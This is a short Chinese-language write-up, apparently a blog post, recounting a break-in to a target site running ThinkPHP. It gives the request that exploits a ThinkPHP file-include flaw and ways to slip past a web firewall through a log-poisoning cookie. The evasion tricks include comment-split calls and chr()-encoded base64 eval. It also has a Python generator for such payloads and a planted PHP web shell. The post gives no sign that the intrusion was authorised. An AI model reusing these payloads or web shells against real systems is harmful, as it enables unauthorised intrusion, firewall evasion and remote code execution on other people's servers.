前
拿到目标站后,看了看url,为 signup.html,加了个 ?s=captcha,显示验证码,判断为tp框架。
果断拿起exp测试

很好,能成功,暗自窃喜一波。
之后看看phpinfo;

被拦截了
之后测试了一下404页面。

熟悉的拦路狗。
中
猜测拦截了exp,但是很明显没有拦截包含日志的exp。
试试包含日志。
将cookie设为
<?php phpinfo();?>结果被拦截,猜测拦截函数。
将cookie设为
<?php phpinfo/**/();?>,绕过了。php7.2版本。
之后测试一下写入
Cookie:file_put_contents/**/('./readme.txt','h3art3ars');
过滤了单引号,就知道没那么容易。
试一下不带payload的一句话
<? eval/**/(base64_decode($_POST[1]));?>post:_method=__construct&method=get&filter[]=think\__include_file&get[]=../runtime/log/202005/22.log&1=cGhwaW5mbygpOw==结果依旧被拦截。
测试了一下,是拦截了 $_POST[] 参数,那就继续绕过。将
_POST参数,利用引用参数代替。在本地 php shell 里面测试

可以看到在本地linux是测试成功的。
直接放到cookie里面看看:
Cookie:<? $a=chr/**/(95).chr/**/(80).chr/**/(79).chr/**/(83).chr/**/(84);eval/**/(base64_decode/**/($/**/{$a}[1]));?>
对方系统windows,出错了。不知道是为什么。
那就只能换一个思路,直接将要执行的命令用chr函数表示。
由于一个一个chr太麻烦,索性写了个脚本
1import base642cmd = 'phpinfo()'3strs = base64.b64encode(cmd.encode('utf-8'))4strs = bytes.decode(strs)5a = ''6for c in strs:7a += "chr/**/(" + str(ord(c))+').'8a = a[0:-1]9a = '<? $a='+a + ';eval/**/(base64_decode/**/($a));?>'10print(a)
把payload复制到cookie中试试,成功。

接下来写入一句话,然而却是访问404.
猜测是狗吃了一句话,那就从上次写的
php新特性过马文章中拿一个试试。1<?php2$b="_POST";3$a=[${$b}['a']];4[$c]=$a;5eval($c);6?>
执行,测试一下。

成功。
尾
windows提权,未成功
1 | Windows NT WIN-RU4FAFHHEMH 6.1 build 7601 (Windows Server 2008 R2 Enterprise Edition Service Pack 1) AMD64 |